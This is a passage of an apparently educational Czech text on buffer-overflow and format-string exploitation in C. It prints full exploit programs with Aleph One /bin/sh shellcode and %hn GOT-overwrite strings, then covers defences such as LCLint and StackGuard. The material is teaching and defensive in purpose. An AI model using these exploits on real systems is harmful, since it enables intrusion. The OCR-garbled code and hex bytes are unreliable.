signélu procesu®. Reentrantni kod 1ze volat vicekréat, bud z jinych viaken anebo jako rekurzivni volani,
a stéle bude fungovat spravné.

Hodnoty registrll a ¢ast kontextu procesu souvisgjici se signaly jsou uloZzeny do proménné dato-
vého typu jmp_buf. V hlavi¢kovych souborech standardni knihovny jazyka C nalezneme nasledujici
strukturu:

#define JB_BX
#define JB_S|
#define JB_DI
#define JB_BP
#define JB_SP
#define JB_PC

b~ wWNEO

typedef int __jmp_buf[6];

typedef struct {

__jmp_buf __jmpbuf; [* Calling environment. */
int __mask_was_saved; /* Saved the signal mask?  */
__sigset_t __saved_mask; [* Saved signal mask.  */

} imp_buf[1];

Prvni polozka je pole __jmp_buf o Sesti prvcich. V tomto poli se uchovava hodnota nékterych
registrll. Pro nas je nejzajimavgjsi polozka s ¢islem JB_PC, ve které je uloZzena hodnota registru EIP.
Pokud by se nam tuto hodnotu povedlo pfepsat na adresu shellkodu, po volani longjmp() bude shellkod
spustén. Vzorovy priklad (nekonetna smycka), na kterém ukaZeme prepis struktury jmp_buf, je na
obrazku 7.14. Situaci v sekci .bss tohoto prikladu ilustruje obrazek 7.15.

Pole buffer i proménna lokace typu jmp_buf jsou uloZeny v sekci .bss, kam kompilator gcc
umistuje globalni neeniciované proméné. Pole buffer je nanizsi adrese v paméti nez proménnalokace.

Shittp://www.opengroup.org/onlinepubs/007904975/functions/sigaction.html
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[* bufferd.c */
#include <stdio.h>
#include <setjmp.h>

char buffer[16];
jmp_buf lokace;

int main(int argc, char **argv) {
setjmp(lokace); 10

strepy (buffer,argv[1]);

longjmp(lokace,1);

Obrazek 7.14: Kod umoznujici preteCeni zasobniku 111

Zapisem mimo meze pole bufferu doséhneme prepsani hodnot v proménné lokace. Do zdrojového
textu buffer4.c doplnime Fadky, pomoci kterych vypoCitame potfebnou velikost preteceni.

_mask... |
JB_PC |::
: jg-gi LS~ jmp_buf
, 2B JB_DI | g
JB_SI = jm : E
BEX | o 0x8049700 |
G A . f ?
. 32B .
it 1) oo
sekce .bss

Obréazek 7.15: Situace v sekci .bss u programu buffer4.c

Dopsanéradky

printf(” Adresa bufferu: %p\n”,& buffer);

printf(” Adresa __jmpbuf: %p\n”,&lokace->__jmpbuf);
Kompilace a spusténi

$ gee bufferd-edited.c -o buffer4-edited

$ ./buffer4-edited argument

Adresa bufferu: 0x80496e0

Adresa __jmpbuf: 0x8049700

Rozdil adresy 0x80496e0 a 0x8049700 je 0x20B, tedy 32B desitkové. Vidime, Zze kompiléator
neumistil proménné tésné vedle sebe. Na umisténi proménnych tésné za sebou se miizeme spolehnout
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pouze u lokalnich promeénnych funkce nazasobniku. Plati to ovsem pouze pro proménnév ramci jedné
funkce. Pole __jmpbuf mavelikost 24B (6 prvki typu int po 4B). Polozka JB_PC je aZ na poslednim
misté, potfebuije tedy prepsat celych 24B tohoto pole. DileZité je vimnout si, Ze pred polozkou JB _PC
prepisujeme polozky JB_SP a JB_BP. Ty odpovidaji registriim ESP a EBP. KdyZ pfi volani longjmp()
dochazi k postupnému obnoveni plivodniho stavu procesu, musi byt v téchto polozkach hodnoty, které
odpovidaji oblasti zasobniku. Napf. hodnota Oxbfbfbfbf je uspokojiva

V predchozim prikladé byly adresy ziskané z editovaného programu Spatné pouzitelné. Nyni nam
v&ak nejde o Zadnou konkrétni adresu. Zjistujeme pouze vzdalenost dvou proménnych v ramci jedné
sekce programu. Komplikace nevznika.

I* exploit-bufferd.c */
#include <unistd.h>
#include <string.h>

/I genericky shellkdd typu Aleph One

char shellkod[] =
"\ xeb\ x1f\ x5e\ x89\ x76\ x08\ x31\ xc0\ x89\ x46\ x0c\ x88\ x46”
"\ x07\ xb0\ x0b\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x31"
"\ xcO\ x40\ xcd\ x80\ xe8\ xdc\ xf f\ xff\ xff/bin/sh”;

int main() {
/I pole pro pfesani a jeden znak na ukonceni fetézce
char pole[32+24+1];
/I jméno spousténého programu, jeden argument, zakoncujici NULL
char *argv[3] = {"./buffer4”, pole, NULL};
/I pfidand proménnéa prostfedi se shellkbdem
char *env[2] = {shellkod, NULL};
/I adresa umisténi shellkodu
int adresa = Oxbffffffa — strlen(argv[0]) — strlen(shellkod);

/I celé pole na nenulovou hodnotu, kvlli polozkam JB_SP a JB_BP
/I pouzijeme konkrétné hodnotu Oxbf
memset(pole,0xbf,32+24+1);
/I prepis polozky JP_PC aby ukazovala na shellkod
*(int *)&polef52] = adresa;
/I zakonCeni Fetézce
pole56] = 0O;
/I spusténi programu s jednim argumentem a pfidanou proménnou prostfedi
execve(argv[0],argv,env);
}

Obrazek 7.16: Vyuziti chyby v programu bufferd.c

Kompilace a spusténi

$ gce bufferd.c -o buffer4

$ gec exploit-bufferd.c -o exploit-buffer4
$ ./exploit-buffer4

sh-2.05b$
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Kapitola 8

Chyby pri formatovani retézce

8.1 Uvod

Standardni knihovna jazyka C disponuje funkcemi pro formétovani fetézce pred tiskem. Nejznamgjsi
takovou funkci je printf(). Existuje vice funkci, které jsou obdobné funkci printf(). Mluvime o funk-
cich z rodiny *printf(). V druhé poloviné roku 2000 se povedio nalézt postupy, které pfi Spatné
formatovaném Fetézci mohou byt stejné nebezpetné jako zapisy mimo meze — buffer overflow.

Funkce printf() ma proménny potet parametrll, pouze prvni je povinny a oznatujeme jg jako
formatovaci retézec. Znaky, které se v ném nachazeji, jsou postupné predavany na standardni vystup.
Jedinou vyjimkou jsou formétovaci sekvence, které zaCingji znakem %. Znaky nadledujici za sym-
bolem procenta pfedstavuji formatovaci znaky. Funkce printf() pfi nalezeni forméatovacich sekvenci
vybira postupné své argumenty, provede konverzi urCenou formatovaci sekvenci a vysledek pole
na standardni vystup. Seznam vSech moznych formatovacich sekvenci je mozné Ziskat v manuaové
strance funkce printf(). Ukazkovy priklad formatovaného Fetézce je uveden na obrazku 8.1

[* gringl.c */
#include <stdio.h>

int main(int argc, char **argv) {
int a=1, b=2;

printf(" A: %, B: %\ n”,ab);
return O;

Obrazek 8.1: Ukazkove formatovani fetézce
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K dyby programétor opomnél udat tfeti parametr — proménnou b, funkce printf() to nijak nepozna?.
Pfi spusténi by ze zasobniku vybrala hodnotu z mista, kde oekava tieti parametr.

Podiveime, co se mlize stat v pripadé programu podlie obrazku 8.2. Funkce printf() nepouzila
formatovaci fetézec "%s’ pro tisk prvniho argumentu programu. Programétor zadal pouze adresu
fetézce v domnéni, Ze uzivatel e nenapadne do argumentu programu vkladat formatovaci sekvence.

[* gtring2.c */
#include <stdio.h>

int main(int argc, char **argv) {
int i=10;

printf (argv[1]);
return O;

Obrazek 8.2: Program s chybnym formatovanim fetézce

Kompilace a spusténi

$ gec string2.¢ -0 string2

$ ./string2 "argl: %ox, arg2: %x”
argl: bffffad8, arg2: 80483d9 $

Pfedanym argumentem s formatovacimi sekvencemi jsme dokazali ziskat ¢ast dat ze zasobniku.
MUzeme Fici, Ze jsme provedli pfistup k prvnimu a druhému imaginarnimu argumentu funkce
printf(). Formétovaci sekvence umoznuji i pfimy prfistup k N-tému argumentu z&pisem N$. V uve-
deném prikladé napf. miize chtit pouze tisk hodnoty druhého imaginarniho argumentu. Forméatovaci
fetézec bude vypadat takto: " arg2: %2$x”.

8.2 Zapisdo paméti

Mezi mnoha forméatovacimi znaky, které jsou ureny pro tisk obsahu proménnych, existuje také jeden,
ktery dovoluje na adresu proménné zapisovat. Formatovaci sekvence % n zapiSe na zadanou adresu
pocet doposud vytisténych znakll (poCet doposud vytiténych znakll je uloZen ve vnitfnim &itadi
funkce printf()). V nésledujicim fragmentu programu proménna pocet bude obsahovat hodnotu 4.

int pocet;
printf(" Ahoj%n svete” & pocet);

Formétovaci sekvence je mozné rozsifit o ureni poctu tisténych cifer Cida. Podiveime se na
nasledujici priklad.

1K ompilator gec s parametrem -Wall ovéem vypige varovné hl&geni
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Fragment programu a spusténi
intcido=123;

char buffer[4];

snprintf(buffer,4,” %.5d" ,cislo);
printf(”%s’ ,buffer);

$ gec priklad.c -o priklad & & ./priklad
001

Ziskany vystup nevypada podle otekavani. Proménnou cislo jsme chtéli tisknout v Sifce péti cifer
("%.5d"). Vzniknul vystup ve tvaru 00123 (ve funkci snprintf() se vytvorilo pole o délce 5+1B).
Dale probéhlo zkopirovani prvnich ¢tyf znakll do pole buffer. Funkce snprinf() zakonCila Fetézec
nahrazenim Ctvrtého znaku ¢islem 0. Ziskany vystup je spravny.

Kdybychom pouzili formatovaci sekvenci %n pro zjidténi pottu vytisténych znaki, ziskame
hodnotu 5, coz odpovida pozadovanému pottu cifer ve formatovaci sekvenci. Mlizeme uGinit zavér,

vvvvv

8.3 Vyuziti chyby forméatovaciho retézce

Vyuziti chyby formatovaciho fetézce miizeme stejné jako zapis mimo meze rozddit na dvé skupiny.
Formétovaci sekvence % n provadi zapis nazadanou adresu. V pfipadg, Ze dokazeme adresu do pameéti
vloZit, hovofime o vyuziti chyby forméatovaciho fetézce se zadanim cilové adresy. V opatném pripadé
se musime omezit na nalezeni vhodné adresy v paméti a hovofime o vyuziti chyby formatovaciho
fetézce bez zadani cilové adresy.

8.3.1 Bez zadani cilové adresy

V tomto piipadé je program napsan takovym zplisobem, Ze nedokazeme do paméti umistit adresu
mista, kam chceme provést zapis. Musime se spolehnout pouze na existujici adresy v pameéti. Priklad
je uveden na obrazku 8.3. Tato situace je pouze ilustrativni, protoze nezavide na programu, je vzdy
moZzné vlozit adresu pomoci proménnych prostredi.

Rozhodneme se zménit hodnotu proménné a. Vime, Zzev paméti se nachazi ukazatel na proménnou
a. V misté volani funkce printf() mtizeme vechny hodnoty, které se nachazeji nazasobniku, povazovat
za jgi imaginarni argumenty. Nedfive musime zjistit, kolikaty imaginarni argument odpovida
ukazateli na proménnou a. Nejsnazsi metoda je pouziti skriptu, ktery vyzkousi urcity rozsah. Také je
mozné program disassemblovat a urcit potfebny posun.
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[* string3.c */
#include <stdio.h>

int main(int argc, char **argv) {
int a=0, b=0;
int *p_a=&a, *p_b=&b;

printf(" A: %, B: %\ n”,ab);
printf(argv[1]); printf("\ n”);
printf(" A: %, B: %\ n” ,ab);
return O;

Obrazek 8.3: Vyuziti chyby forméatovaciho fetézce |

Kompilace a spusténi

$ gec string3.c -0 string3
$ Jstring3 %7\ $x
A:0,B: 0

bffffa68

A:0,B: 0

$ /string3 %8\ $x
A:0,B:0

0

A:0,B:0

Sedmy imaginarni argument odpovida ukazateli na proménnou a. Osmy imaginarni argument
odpovida proménné b. Provedeme-li pomoci %n zapis na adresu danou sedmym imaginarnim ar-
gumentem, doséhneme zmény hodnoty proménné a. Pfed znak $ nesmime opomenout vloZit zpétné
lomitko, aby jg shell neinterpretoval jako specialni znak. Datana zasobniku, ktera odpovidaji prvnimu
az patému imaginarnimu argumentu, jsou bezvyznamna vypli zplisobena neoptimalni kompilaci.

R . lokdlni proménné
: 2 funkee main()

imaginarni argumenty
funkce printf()

=R WS UTo ~ 0

Vys§i adresy paméti

&argv[1] | prvniajediny argument
funkce printf()

Obréazek 8.4: Situace na zasobniku prikladu string3.c

Kompilator gcc pri alokaci mista pro lokani proménné na zasobniku byva $tédry. Dlvodem
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pravdépodobné bude rychlost kompilace. Nepotita se velikost skutetné potfebného mista, ale pouziji
se Sablony. Obdobna situace nastavai pri ukladana parametrt funkci nazasobnik. Kompilator nepotita,
kolik proménych je po ukoCeni funkce ze zasobniku potfeba uklidit. Misto toho na zasobniku a okuje
ngaké misto navic a tklid proménnych se opét miize dit pomoci Sablon.

$ /string3 AAAAAAY%T7\$n
A:0,B: 0
AAAAAA
A:6,B:0

8.3.2 Sezadanim cilové adresy

Dokazeme-li v programu ngjit chybu forméatovaciho fetézce spolu s uloZzenim adresy, Ziskavame
stejné moznosti jako u nepfimého zapi su mimo meze. DokaZzeme zapsat libovolnou hodnotu na adresy
v celém virtualnim adresnim prostoru procesu. V3e s ukazeme na prikladu podle obrazku 8.5. Cilem
bude spusténi shellkddu pomoci prepsani ukazatele na funkci printf() v sekci .got.

[* sringd.c */
#include <stdio.h>

int main(int argc, char **argv) {
char buffer[256];

snprintf (buffer,sizeof (buffer),argv[1]);
printf (" %8\ n” ,buffer);
return O;

Obrazek 8.5: Vyurziti chyby forméatovaciho fetézce Il

My8enkavyuZziti chyby formatovaciho Fetézce je nasledujici: Prvni argument programu je pomoci
funkce snprintf() zapsan do pole buffer. Miizeme tedy provést zapis uréité hodnoty. Hodnotou necht
je adresa ukazatel e nafunkci printf() v sekci .got procesu. Jakmile bude v bufferu uloZzena poZzadovana
adresa, miizeme pomoci forméatovaci sekvence %n provést zapis.

Nejdrive musime uréit, kolikat&mu imaginarnimu argumentu funkce snprintf() odpovida pocatek
pole buffer. V disassembleru zjistime, ze pred ukladanim argumentli funkce snprintf() je vrchol
zasobniku situovan naoffsetu -268B oproti registru EBP. Zatatek pole buffer maoffset -256B. Rozdil
Cinni 12B, tedy 3 slova o velikosti 32b. Pocatek pole buffer bude odpovidat Ctvrtému imaginarnimu
parametru funkce snprintf(). Situace na zasobniku je znazornéna na obrazku 8.6.

PresvédCime se, Ze pocatek pole buffer opravdu odpovida Etvrtému imaginarnimu argumentul.
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uloZené EIP
ulozené EBP| O(EBP)
-4(EBP)
buffer[256] g
. : E
<
: o
imaginarni 4 —-256(EBP) %
argumenty 3 —-260(EBP) =
gﬁglr(i%etf() 2 —264(EBP) 3
Tl . ~268(EBP) 3
| &argv[1] AN 2
256 . prvni tfi povinné
. parametry funkce
| &buffer |: snprintf(

Obrazek 8.6: Situace na zasobniku programu string4.c

Kompilace a spusténi

$ gece string4.c -o string4
$ /stringd AAAA%A\ $x
AAAA41414141

N&S vypocet byl spravny. Podiveime se presngji na situaci, ktera nastala. Funkci snprintf() jsme
pfedali forméatovaci fetézec ve tvaru AAAA% 43x. Nejprve dodo k uloZeni Ctyf pismen A do pole
buffer, poté s formatovaci sekvece vyzadala vybrani ¢tvrtého argumentu a jeho konverzi do Sest-
nackové soustavy. Ctvrty argument odpovida pamétové pozici, kde se ulozila tyfi A. Pismeno A ma
v Sestnackove soustave hodnotu 0x41. Celkoveé takto vznikl v poli buffer fetézec AAAA41414141,
ktery jsme Ziskali na vystupu.

V sekci .got zjistime adresu, na které se nachazi ukazatel na funkci printf(). Pfikaz objdump -R
string4.

OFFSET | TYPE VALUE

080495d0 | R-386_.GLOB_DAT | __gmon_start__
080495bc | R-386_JUMP_SLOT | __register_frame_info
080495c0 | R_386_JUMP_SLOT | __deregister_frame_info
080495c4 | R-386_JUMP_SLOT | __libc_start_main
080495c8 | R_386_JUMP_SLOT | printf

080495cc | R-386_JUMP_SLOT | snprintf

Z tabulky vidime, Ze hledana adresa je 0x80495c8. Pro zadani Cisla ve spravném tvaru pouzijeme
vystupu standardniho programu printf.

Zapisadresy ukazatele na funkci printf()
$ ./string4 $(printf "\xc8\x95\x04\x08")
C

ASCII hodnota &isla 0xc8 odpovida pismenu C. Ostatni hodnoty neodpovidaji tisknutelnym zna-
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kUm, proto neni vidét dal&i vystup. Nyni je Eas spoCitat adresu, nakteré bude v paméti ulozen shellkod.
Pouzijeme stejnou metodu vloZeni shellkbdu do oblasti proménnych prostfedi jako v predchazejici
kapitole. Vypocet adresy probéhne podle vzorce adresa = 0zbf f f f f fa — strien(”./stringd”) —
strien(shellkod). Pri pouZiti generického shellkddu typu Aleph One, ktery jsme vytvorili v kapitole
6, Ziskame vysledek Oxbfffffca. Cislo Oxbfffffca odpovida Eislu 3221225412 v desitkové soustave.

Na&s formatovaci fetézec by mohl vypadat \xc8\x95\x04\x04% .3221225408%4%$n. Cislo
3221225412 jsme zmensili o0 4, protoze vnitini &ital vytiénych znakll se 0 4 se zvys v disleku
tisku 4B adresy. VyzkouSeni formatovaciho Fetézce povede k nelispéchu. Dlivodem je skutecnost, ze
zadame funkci snprintf(), aby si pro vnitfni potfebu vytvofila pole o velikosti pres 3GB.

Musime se uchylit k malému triku. Formatovaci sekvence %n ocekava ukazatel natyp int. Modi-
fikatorem h |ze provést zménu. Forméatovaci sekvence %hn ocekava ukazatel na natyp short int. To
Znamena, Ze na zadanou adresu provede zapis pouze 2B misto 4B. Zapis hodnoty Oxbfffffc4 naadresu
0x80495¢c8 mlizeme rozdéit na dva kroky:

e Naadresu 0x80495c8 zapiseme hodnotu Oxffc4.

o Naadresu 0x80495ca zapiSeme hodnotu Oxbfff.

Protoze CitaC vytisténych znakli se mlize pouze zvétSovat, musime postupovat tak, Ze nejprve
provedeme zapis mensiho z obou €isdl. V naSem pripadé je mensi ¢islo Oxbfff. Pro zapsani druhého
Cida musime do forméatovaciho fetézce dosadit hodnotu ziskanou rozdilem Oxffc4 - Oxbfff. Protoze
néS formatovaci fetézec bude zaCinat tiskem dvou 4B adres, musime prvni ¢islo zmensit o 8.

Obecné formétovaci Fetézec bude vypadat takto (offset + {0,1} udavavztazeni k prvni nebo druhé
ulozené adrese):
[adresa][adresa+2] % .[menSi €islo - 8] x% [ offset+{0,1}] $hn% .[vétSi €idlo - mendi €islo] x% [ offset+{0,1}] $hn

Konkrétné dostaneme:
\ X8\ x95\ x04\ x08\ xca\ x95\ x04\ x08%.49143x%5$hn%. 16325x%64%hn

kde:

e \xc8\x95\x04\x08 odpovida zapsani adresy 0x80495c8
o \xca\x95\x04\x08 odpovida zapsani adresy 0x80495ca (= 0x80495c8+2)
e 90.49143x odpovida nastaveni vnitfniho Citate na hodnotu 49151 (= 8+49143) (= Oxbfff)

o 9%5%hn odpovida provedeni zapisu Cida Oxbfff naadresu 0x80495ca (adresa je ulozZzena jako 5ty
imaginarni argument funkce snprintf()

¢ 90.16325x odpovidanastaveni vnitfniho Citate nahodnotu 65476 (= 8+49143+16325) (= Oxffc4)
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e %4%$hn odpovida provedeni zapisu Cisla Oxffc4 na adresu 0x80495¢8 (adresa je uloZena jako
4ty imaginarni argument funkce snprintf()

Cdy program, ktery provede na zakladé vyuziti chyby forméatovaciho fetézce spusténi shellkodu
je naobrazku 8.7. Pouzity shellkdd je z kapitoly 6, strana 45.

* exploit-stringd.c */
#include <stdio.h>

#include <string.h>
#include <unistd.h>

/I genericky shellkdd typu Aleph One
char shellkod[] =
"\ xeb\ x1f\ x5e\ x89\ x76\ x08\ x31\ xcO0\ x89\ x46\ x0c\ x88\ x46”
"\ x07\ xb0O\ x0b\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x31”
"\ xcO\ x40\ xcd\ x80\ xe8\ xdc\ xf f\ xff\ xff/bin/sh”; 10

int main() {
/I dostatecné velké pole pro forméatovaci Fetézec
char pole[128];
/I jméno programu, jeden argument, ukoncujici NULL
char *argv[3] = {"./string4”, pole, NULL};
/I zafadime shellkod jako posledni proménnou prostfedi
char *env[2] = {shellkod, NULL};
Il vypoCet adresy pocatku shellkodu
int adresa = Oxbffffffa — strlen(argv[0]) — strlen(shellkod); 20

printf (" Shel | kod: %\ n” ,adresa);
Il zkopirovani formatovaciho fetezce do pole, které tvori argument programu

strepy(pole,” \ xc8\ x95\ x04\ x08” "\ xca\ x95\ x04\ x08" "% 49143x%$hn% 16325x%1$hn");
/I spusténi programu s jednim argumentem a pfidanou proménnou prostfedi

execve(argv[0],argv,env);
}

Obrazek 8.7: Vyuziti chyby v programu string4.c

Moznosti vyuziti chyb formatovaciho Fetézce jsou shodné se zapisem mimo meze. Tedy velmi
zasadni. Nastésti |ze tyto chyby ve zdrojovych textech pomérné snadno lokalizovat pomoci statické
detekce. Staci projit vsechny funkce, kterépouZivaji formétovaci Fetézec apresvedCit se, Zeformatovaci
fetézec je zadany.
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Kapitola 9

Detekce chyb a obrana

V kapitole 7 a8 byly rozepsany duisledky zapisu mimo meze a$patného pouziti formatovaciho Fetézce.
Tato kapitola se bude vénovat minimalizaci vzniku téchto chyb a omezenim jgich zneuZitelnosti.
Postup je tfistuphovy:

1. Peclivé naprogramovany program s osetfenim vsech vstupli od uzivatele. NepouZivani nevhod-
nych knihovnich funkci.

2. Staticka kontrola zdrojového kodu detekEnimi nastroji.

3. Omezené prostiedi procesu s minimalizaci diisledkt chyb. Dynamicka kontrola béhu programu.

9.1 VylepSeni programator ského stylu

Zdrojem mnoha programatorskych chyb je Spatna znalost knihovnich funkci. Programatofi zngji
obecné pouziti knihovnich funkci, mélo jsou vak obeznameni sjejich chovanim v krajnich situacich.
Prikladem muize byt funkce strncpy(). Funkce kopiruje zadany poCet bytll fetézce z jednoho mista do
druhého. Podle predpokladu sice automaticky cilovy Fetézec zakoncuje nulovym bytem, provede to
ovem pouze v pripadg, Ze se nulovy byte vejde do zadaného pottu kopirovanych bytll. Oproti tomu
napr. funkce snprintf() zakonCeni nulovym bytem provede vZdy.

DalSi nepfijemnosti je, Ze chovani stejnych funkci se v krajnich pripadech liSi v zavidosti na
implementaci. Napr. funkce snprintf() v implemetaci firmy Microsoft nemusi vzdy provést zakonceni
fetézce nulovym bytem.

Protoze funkci a implementaci je mnoho, neni mozné udélat prehledovou tabulku s popisem
chovani. Misto toho postaci 3 z&kladni pravidla:

1. Vzdy pouzivame funkce, které umoZziuji omezit kopirovany pocet byt Posledni byte u fetézcli

92



vzdy explicitné zakoncujeme nulovym bytem.

| Priklad 1 | PFiklad 2 \
strepy(dest,sro); gets(buffer);
strncpy(dest,sre, SIZE); || fgets(buffer,SIZE,stdin;
dest[SIZE-1]=0; buffer[SIZE-1]=0;

2. Nikdy neumoznime uzivateli zadat formétovaci fetézec. U formétovaci sekvence pro fetézce
omezujeme vhodné jeho maximalni délku.
| Priklad 1 | PFiklad 2 |
printf(argv[1]); scanf(” %s’,& buffer);
printf("%s’ ,argv[1]); || scanf(”%200s’ & buffer);

3. U funkci, které vnitiné pouZivaji staticke pole, nesmime piekrocit jeho délku. Prikladem miize
byt funkce reapath(), které vnitiné pouziva statické pole o velikosti PATH MAX. Obdobné
v zavidogti naimplementaci jsou natom funkce sysog(), getopt(), getopt_long(), getpass().

9.2 Staticka kontrola zdrojového textu

Prvnim stupném statické kontroly zdrojového textu jsou varovani kompilatoru gec. Parametrem -Wall
sdélime kompilétoru, Ze si prejeme byt informovani o vSech nesrovnal ostech. Kompilator dokonce jiz
obsahuje i seznam nékterych nevhodnych funkci avaruje pred jgjich pouzivanim.

Déle existuje mnozstvi specializovanych programil na statickou detekci podezielych mist ve
zdrojovych textech.

921 LCLint

LCLint je velmi stary nastroj pouzivany jiz na prvnich UNIXech. Jeho vyvoj probih& dodnes. Mezi
jeho zakladni dovednosti patfi kontrola:

1. nepouzitych deklaraci
nekonzistence typll operandli
nedosazitelného kbédu

vzniku nekonetné smycky

o &~ w DN

navratovych hodnot
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Podivejme se na ukazkovou detekci chyb v programu podle obrazku 9.1 pomoci LCLintu.

/* Iclint-vulnl.c */
#include <stdlib.h>

int main()
{
int *p = malloc(5*sizeof (int));
*p = 1'
free(p);
return O;
} 10

Obrazek 9.1: Staticka detekce chyb programem LCLint

$Iclint Iclint-vulnl.c
LCLint 2.4b— 18 Apr 98

[clint-vulnl.c: (in function main)

Iclint-vulnl.c:7:10: Dereference of possibly null pointer p: *p

A possibly null pointer is dereferenced.

Value is either the result of afunction which may return null

(in which case, code should check it is not null),

or aglobal, parameter or structure field declared with the null qualifier.
(-nullderef will suppress message)

Iclint-vulnl.c:6:18: Storage p may become null

Finished LCLint checking— 1 code error found
$

LCLint spravné upozornil, Ze jsme neprovedli kontrolu, zda se povedlo naalokovat poZzadovanou
pamét. V pripadé nelispéchu funkce malloc() vraci ukazatel NULL, ktery bychom zkouSeli dereferen-
covat.

Dal§i silnou strankou L CLintu jemoznost kontroly, zdaimplemetance funkce odpovidajeji anotaci.
Anotace specifikuje omezeni funkce a zapisuje se v podobé komentéare. Tento trend je v soucasné dobé
popularni a pouziva se i pro automatickou tvorbu dokumentace (program cxref1). Kompletni popis
Zapisu anotaci je pristupny na strance http://Iclint.cs.virginia.edu/manual/html/appC.html. Ukazka je
na obrazku 9.2. Anotaci jsme u funkce fce naznaili, ze smi dojit pouze ke zméné hodnoty parametru
a. LCLint spravné odhalil, Ze vnitfni chovani funkce neodpovida anotaci. LCLint je mozné Ziskat na
strance http://Iclint.cs.virginia.edu/.

Obdobnoufunkcionalitujako program L CLint maji projekty Flawfinder —http://www.dwheel er.com/flawfinder/
a RATS — http://www.securesoftware.com/auditing_tools_download.htm. Jegjich zaméfeni sméfuje
vice k detekci nevhodnych funkci. Oba projekty planuji v blizké dobé své spojeni.

http://www.gedanken.demon.co.uk/cxref/index.html
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/* Iclint-vuln2.c */

void fece(int *a int *b) /*modifies *a*/ {

*a=1, *b=2;
}
int main() {
int a=5,b=5;
fce(&a,&b);
return 0O;
}

Obrazek 9.2: Anotace funkce

$Iclint Iclint-vuln2.c
LCLint 2.4b— 18 Apr 98

[clint-vuln2.c: (in function fce)

[clint-vuln2.c:4:15: Undocumented modification of *b: *b =2

An externally-visible object is modified by afunction, but not listed in its modifies clause.
(-modswill suppress message)

Iclint-vuln2.¢:3:6: Function exported but not used outside Iclint-vuln2: fce

A declaration is exported, but not used outside this module.

Declaration can use static qualifier. (-exportlocal will suppress message)
[clint-vuln2.c:5:1: Definition of fce

Finished L CLint checking — 2 code errors found
$

9.3 Omezeneé prostiedi a dynamicka kontrola programu

U ciZich i vlastnich softwarovych projektll si nemtizeme vzdy byt zcela jisti jegjich bezchybnym
a bezpetnym provozem. Je proto rozumné pouzivat prostfedky, které dokézi odhalit chyby pfi béhu
programu ¢ minimalizuji dusledky chyb.

Zlatym pravidlem bezpeCnosti je nepoustét zadné obsluzné procesy (www, ftp ...) s opravnénim
superuzivatele root. Navic tyto procesy nechame pristupovat pouze k omezené ¢asti souborového
systému pomoci programu chroot?. Nékteré aplikace jako napf. BIND? jiZ sami, pomoci systémového
volani chroot, tuto ochranu obsahuji.

2http://www.linuxfocus.org/English/January 2002/ article225.shtml
3http:/www.isc.org/products/BIND/
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9.3.1 Dynamicka detekce chyb programu

Dynamicka alokace paméti (heap management) je jednou z oblasti, ktera je bohaty zdroj chyb, jeZ je
obtizné vystopovat. Zapis za konec bloku a okované paméti (a/nebo pfed zaCatek) povede k poruSeni
struktur, které se pouzivaji ke spravé volné a pridé ené paméti nahaldé. Existuji nastroje, které program
zastavi v okamziku poruSeni paméti.

NejznamgSim néstrojem je program od Bruce Perensna Electric Fences. Electric Fences nahradi
funkce pro spravu dynamické paméti vlastnimi verzemi, které umoznuji pfi poruSeni paméti pro-
gram zastavit. PouZziti Electric Fences spotiva pouze v pridani knihovny do seznamu pfilinkovanych
knihoven. Electric Fences je mozné ziskat na adrese http://perens.com/FreeSoftware/.

$ gce program.c -0 program -lefence
$ ./program

Tristan Gingold vytvoril program Checker, ktery detekuje Sirsi pole problémli nez Electric Fences.
Program dopliuje kompilator gec. Vysledny kod je rozsifeny o kontrolu pouZivani vech ukazatel (1.
Checker je mozné Ziskat na adrese http://www.gnu.org/software/checker/checker.html.

$ checkergec program.c -0 program
$ ./program

Das8im programem, ktery o3etfuje spravu dynamického pridélovani paméti, je MemWatch od
Johana Lindhe. Stgjné jako ostatni nastroje i tento pfi detekci chyby program zastavi. Jeho vyhodou
je prehledny gatisticky vypis stavu dynamicky alokovanych oblasti. MemWatch je mozné Ziskat na
adrese http://www.gnu.org/directory/devel/Debugging/memwatch.html.

Do programu pfidame hlavickovy soubor
#include <memwatch.h>

$ gcc -DMEMWATCH program.c -0 program
$ ./program

Poslednim nastrojem, o kterém se zminime, je YAMD (Yet Another Malloc Debugger) od autora
Nata Eldredge. Jeho schopnosti se kryji s ostatnimi nastroji. Vyhodou je, Ze nepfidava do vysledného
programu navic zadny kod. Spokoji se pouze s ladicimi informacemi, které generuje gcc. YAMD je
mozneé ziskat na adrese http://www3.hmc.edu/ neldredge/yamd/.

$ gce program.c -g -0 program
$ run-yamd ./program

9.3.2 Maodifikace kompilatoru

Jednou z moznosti, jak pozménit stav pamétového prostoru procesu oproti standardni situaci, je
modifikace kompil&toru. Touto cestou se vydaly projekty StackGuard a StackShield.
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Funkce StackGuardu spo€iva ve vlozeni kontrolniho souctu pred navratové adresy na zasob-
niku. Jestlize dojde ke zméné uloZené navratové adresy, pak pred jefim vybranim selze test kont-
rolniho souctu a program je ukoncen. StackShield pouziva odlishou metodu. Prolog funkce je po-
zménén tak, ze kopii navratové adresy uklada do oddéleného zasobniku. Epilog funkce provede
vybé& adresy z oddéleného zasobniku a funkce se ukonci. Oba projekty v minulosti obsahovaly
mnozstvi chyb a jgich ochrana se dala snadno obejit*. Navic z globaniho hlediska chrani pouze
zasobnik, a nepfinédsi tak Zadnou skutetnou bezpenost. StackGuard je mozné Ziskat na adrese
http://www.cse.ogi.edu/DI SC/projects/immunix/StackGuard/. StackShield je mozné ziskat na strance
http://www.angel fire.com/sk/stackshield/.

Pro Uplnost dodgime, Ze existuji kompilétory jazyka C s kontrolou mezi poli. Jgjich kvaita se
bohuzel zdaleka neblizi kompilatoru gec, a proto nejsou pouzivany. Prikladem je kompilator Cyclone
— http://www.research.att.com/projects/cyclone/.

9.3.3 Maodifikace knihovnich funkci

Kromé kompil&toru je mozné modifikovat i knihovni funkce. Neni pfiliS praktické vylepSovat imle-
mentaci pfimo originani knihovny, protoze mohou byt znatné rozsahlé a neprehledné. Prehledngjsi
jeuddat s imlementace nékterych knihovnich funkci ve vlastni knihovné. Tuto knihovnu potom po-
moci direktivy LD_PRELOAD zavedeme do paméti. Pfi vyhledavani dynamicky linkovanych funkci
z knihoven se vzdy pouzije funkce z knihovny, ktera byla zavedena ngjdfive. Knihovny zavedené po-
moci direktivy LD_PRELOAD jsou zavedeny pred vSemi dynamickymi knihovnami, které program
pouZiva

